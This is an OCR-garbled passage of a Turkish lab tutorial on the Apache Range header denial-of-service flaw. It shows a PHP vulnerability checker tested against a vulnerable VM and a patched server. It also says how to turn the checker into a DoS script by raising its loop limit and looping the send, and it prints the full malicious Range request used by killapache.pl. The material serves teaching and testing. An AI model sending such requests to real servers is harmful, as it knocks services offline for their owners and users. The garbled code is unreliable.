function check_range_vuln($host,$port=80,$timeout=10){
$range ='0-}
for($i=0;$i<20;$i++){
$range .= ",5-$i";
}

$error_code = null;
$error = null;

$socket = fsockopen($host,$port,$error_code,$error,$timeout);

$packet = "HEAD / HTTP/1.1\r\nHost: $host\r\nRange:bytes=$range\r\nAccept-Encoding: gzip\r\
nConnection: close\r\n\r\n";

fwrite($socket,$packet);

$result = fread($socket,2048);

/Icheck to see if "Partial" is in the response
if(strstr($result,"Partial") !== false){

return "Target is vulnerable";

}

return "Target is not vulnerable";

}

echo check_range_vuln("192.168.0.21",80,10);
>



Bu php script’i bu haliyle zafiyetli apache web sunucuya (Apache 2.2.19 - Ubuntu Server 14.04
sanal makinasina) dogru calistirilldiginda dénen http yaniti ekrana gelecektir:

Activities Paz 06:41

@ localhost/check range v x

< C (3 O localhost/check range_vuln.php max 0 0
# Apps @ Logintobya @ USVNSGE & ConfluenceSGE ) UCROWD SGE @ SanalSiber Gi 3 Openstack Ge.
ET]’P/LI 206 Partial Content Date: Sat, 14 Sep 2019 12:20:30 GMT Server: Apache/2.2.19 (Unix) PHP/5.3.8 Last-Modified: Sat, 20 Nov

2004 20:10:24 GMT jaige "26818-2c-3e9564c23b600" Accept-Ranges: bytes Content-Length: 1464 Connection: close Content-Type:
multipar 1a1352

Target is vulnerable
—

Local Loopback
27.0.0.1 Mask:255.0.0.0

UP LOOPBACK RUNNING MTU:65536 HMetric:l

RX packets:2703 e :0 dropped:0 overruns:@ frane:0
dropped:0 overruns:0 carrier:0

collisions:0 txqueuelen:1

RX bytes:280392 (280.3 KB) TX bytes:280392 (280.3 KB)

root@ubuntu: /home usert

Right Ctrl
Komutlari.
Ext

( Agiklik Testi Php Script’i ile Hedef Apache Sunucuyu Test Etme )
Goriildiigii tizere yanit paket iceriginde 206 Partial bilgisi gelmistir ve script kodu ile “Target is
vulnerable” notu ekrana basilmistir. Dolayisiyla sunucunun mantiksiz (gecgersiz) parga taleplerine
206 Partial ile olumlu cevap verdigi goriilmiistiir. Yani sunucu zafiyetlidir.

Bu php script’i yine bu haldeyken bu sefer zafiyete sahip olmayan apache web sunucuya (ana
makinadaki 2.4.x siiriimiindeki apache sunucuya) dogru calistirildiginda dénen http yanit ekrana
gelecektir:

Activities Paz 06:43

@ localhost/check_range_v x
< C 0 ® localhost/check range_vuln.php ax 0 0O :
# Apps @ Logintobya @ USVNSGE & ConfluenceSGE ) UCROWD SGE @ SanalSiber Gi 3 Openstack Ge.

HTTP/L.1 200 OK Date: Sun, 15 Sep 2019 03:43:39 GMT Server: Apache/2.4.29 (Ubuntu) Connection: close Content-Type:
text/html;charset=Ur

Target is not vulnerable
—— (Local Loopback)
2222562 (2.2 MB)
s overruns © frame ©
TX packets 23368 bytes 2222562 (2.2 MB)
TX errors 6 dropped © overruns © carrier 6 collisions @

virbro: flags=4899< A MULTICA mtu 1560
inet 192 .1 netmask 255.255.255.0 broadcast 192.168.122.255
b txqueuelen 1000 (Ethernet)
0 bytes 0 (0.0 B)
RX errors 6 dropped 6 overruns 0 frame ©
TX packets © bytes 0 (6.0 B)
TX errors 6 dropped © overruns © carrier 6 collisions ©

wlp2s0: < A RUNNING,MULTICAST> mtu 1500
e k

aba prefixlen pe
36 txqueuelen 1000 (Ethernet)
421 bytes 53321 (6.2 GB)
RX errors © dropped 0 overruns 6 frame ©
TX packets 1110744 bytes 152522450 (152.5 MB)
TX errors @ dropped 0 overruns © carrier 8 collisions ©

hefese@TUBITAK-HASANFSIMSEK3:~S []

Temel CMD
Komutlari.
bxt

( Agiklik Testi Php Script’i ile Diger Apache Sunucuyu Test Etme )



Goriildiigi tizere yanit paket iceriginde 200 OK bilgisi gelmistir ve script kodu ile “Target is not
vulnerable” notu ekrana basilmistir. Dolayisiyla sunucunun mantiksiz (gecersiz) parca taleplerine
200 OK ile parca cevabi vermedigi ve bunun yerine dékiimanin tamamini yanit olarak dondiigii
goriilmiistiir. Yani sunucu zafiyete sahip degildir.

Not:

Bu php script’teki for dongiisiinde yer alan limit degerini 20’den 1300’e ¢ikarirsak ve olugan bu
paketi sonsuz dongiide siirekli génder dersek bir dos saldirisi script’i hazirlamis oluruz. Ornegin
apache range saldiris1 yapan apachekiller.pl script’i bahsedilen limit degerine sahip icerikteki paketi
defaatle génderme isini yapmaktadir.

killapache.pl script’inin gonderdigi talep paketi:
( Tek Satir Olarak Oku )

( link: https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/updated-mitigation-of-apache-range-header-
dos-attack/ )

HEAD / HTTP/1.1Host: 127.0.0.1Range: bytes=0-,5-0,5-1,5-2,5-3,5-4,5-5,5-6,5-7,5-8,5-9,5-10,5-
11,5-12,5-13,5-14,5-15,5-16,5-17,5-18,5-19,5-20,5-21,5-22,5-23,5-24,5-25,5-26,5-27,5-28,5-29,5-
30,5-31,5-32,5-33,5-34,5-35,5-36,5-37,5-38,5-39,5-40,5-41,5-42,5-43,5-44,5-45,5-46,5-47,5-48,5-
49,5-50,5-51,5-52,5-53,5-54,5-55,5-56,5-57,5-58,5-59,5-60,5-61,5-62,5-63,5-64,5-65,5-66,5-67,5-
68,5-69,5-70,5-71,5-72,5-73,5-74,5-75,5-76,5-77,5-78,5-79,5-80,5-81,5-82,5-83,5-84,5-85,5-86,5-
87,5-88,5-89,5-90,5-91,5-92,5-93,5-94,5-95,5-96,5-97,5-98,5-99,5-100,5-101,5-102,5-103,5-104, 5-
105,5-106,5-107,5-108,5-109,5-110,5-111,5-112,5-113,5-114,5-115,5-116,5-117,5-118,5-119,5-
120,5-121,5-122,5-123,5-124,5-125,5-126,5-127,5-128,5-129,5-130,5-131,5-132,5-133,5-134,5-
135,5-136,5-137,5-138,5-139,5-140,5-141,5-142,5-143,5-144,5-145,5-146,5-147,5-148,5-149,5-
150,5-151,5-152,5-153,5-154,5-155,5-156,5-157,5-158,5-159,5-160,5-161,5-162,5-163,5-164,5-
165,5-166,5-167,5-168,5-169,5-170,5-171,5-172,5-173,5-174,5-175,5-176,5-177,5-178,5-179,5-
180,5-181,5-182,5-183,5-184,5-185,5-186,5-187,5-188,5-189,5-190,5-191,5-192,5-193,5-194,5-
195,5-196,5-197,5-198,5-199,5-200,5-201,5-202,5-203,5-204,5-205,5-206,5-207,5-208,5-209,5-
210,5-211,5-212,5-213,5-214,5-215,5-216,5-217,5-218,5-219,5-220,5-221,5-222,5-223,5-224,5-
225,5-226,5-227,5-228,5-229,5-230,5-231,5-232,5-233,5-234,5-235,5-236,5-237,5-238,5-239,5-
240,5-241,5-242,5-243,5-244,5-245,5-246,5-247,5-248,5-249,5-250,5-251,5-252,5-253,5-254, 5-
255,5-256,5-257,5-258,5-259,5-260,5-261,5-262,5-263,5-264,5-265,5-266,5-267,5-268,5-269,5-
270,5-271,5-272,5-273,5-274,5-275,5-276,5-277,5-278,5-279,5-280,5-281,5-282,5-283,5-284, 5-
285,5-286,5-287,5-288,5-289,5-290,5-291,5-292,5-293,5-294,5-295,5-296,5-297,5-298,5-299,5-
300,5-301,--CUT--1016,5-1017,5-1018,5-1019,5-1020,5-1021,5-1022,5-1023,5-1024,5-1025,5-
1026,5-1027,5-1028,5-1029,5-1030,5-1031,5-1032,5-1033,5-1034,5-1035,5-1036,5-1037,5-1038,5-
1039,5-1040,5-1041,5-1042,5-1043,5-1044,5-1045,5-1046,5-1047,5-1048,5-1049,5-1050,5-1051,5-
1052,5-1053,5-1054,5-1055,5-1056,5-1057,5-1058,5-1059,5-1060,5-1061,5-1062,5-1063,5-1064,5-
1065,5-1066,5-1067,5-1068,5-1069,5-1070,5-1071,5-1072,5-1073,5-1074,5-1075,5-1076,5-1077,5-
1078,5-1079,5-1080,5-1081,5-1082,5-1083,5-1084,5-1085,5-1086,5-1087,5-1088,5-1089,5-1090,5-
1091,5-1092,5-1093,5-1094,5-1095,5-1096,5-1097,5-1098,5-1099,5-1100,5-1101,5-1102,5-1103,5-
1104,5-1105,5-1106,5-1107,5-1108,5-1109,5-1110,5-1111,5-1112,5-1113,5-1114,5-1115,5-1116,5-
1117,5-1118,5-1119,5-1120,5-1121,5-1122,5-1123,5-1124,5-1125,5-1126,5-1127,5-1128,5-1129,5-
1130,5-1131,5-1132,5-1133,5-1134,5-1135,5-1136,5-1137,5-1138,5-1139,5-1140,5-1141,5-1142,5-
1143,5-1144,5-1145,5-1146,5-1147,5-1148,5-1149,5-1150,5-1151,5-1152,5-1153,5-1154,5-1155,5-
1156,5-1157,5-1158,5-1159,5-1160,5-1161,5-1162,5-1163,5-1164,5-1165,5-1166,5-1167,5-1168,5-
1169,5-1170,5-1171,5-1172,5-1173,5-1174,5-1175,5-1176,5-1177,5-1178,5-1179,5-1180,5-1181,5-
1182,5-1183,5-1184,5-1185,5-1186,5-1187,5-1188,5-1189,5-1190,5-1191,5-1192,5-1193,5-1194, 5-
1195,5-1196,5-1197,5-1198,5-1199,5-1200,5-1201,5-1202,5-1203,5-1204,5-1205,5-1206,5-1207,5-


https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/updated-mitigation-of-apache-range-header-dos-attack/
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/updated-mitigation-of-apache-range-header-dos-attack/

1208,5-1209,5-1210,5-1211,5-1212,5-1213,5-1214,5-1215,5-1216,5-1217,5-1218,5-1219,5-1220,5-
1221,5-1222,5-1223,5-1224,5-1225,5-1226,5-1227,5-1228,5-1229,5-1230,5-1231,5-1232,5-1233,5-
1234,5-1235,5-1236,5-1237,5-1238,5-1239,5-1240,5-1241,5-1242,5-1243,5-1244,5-1245,5-1246,5-
1247,5-1248,5-1249,5-1250,5-1251,5-1252,5-1253,5-1254,5-1255,5-1256,5-1257,5-1258,5-1259,5-
1260,5-1261,5-1262,5-1263,5-1264,5-1265,5-1266,5-1267,5-1268,5-1269,5-1270,5-1271,5-1272,5-
1273,5-1274,5-1275,5-1276,5-1277,5-1278,5-1279,5-1280,5-1281,5-1282,5-1283,5-1284,5-1285,5-
1286,5-1287,5-1288,5-1289,5-1290,5-1291,5-1292,5-1293,5-1294,5-1295,5-1296,5-1297,5-1298,5-
1299Accept-Encoding: gzipConnection: close

Kaynaklar:

https://lwn.net/Articles/456723/

https://www.rapid7.com/db/modules/auxiliary/dos/http/apache range dos

http://apache-range-exploit.com/
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/updated-mitigation-of-apache-

range-header-dos-attack/
https://www.hackersgarage.com/apache-killer-denial-of-service-flaw-in-apache-webserver.html
http://apache-range-exploit.com/

https://www.freesoft.org/CIE/RFC/2068/225.htm
https://stackoverflow.com/questions/19290033/http-byte-ranges-and-multipart-byteranges-
alternatives

https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Range



https://lwn.net/Articles/456723/
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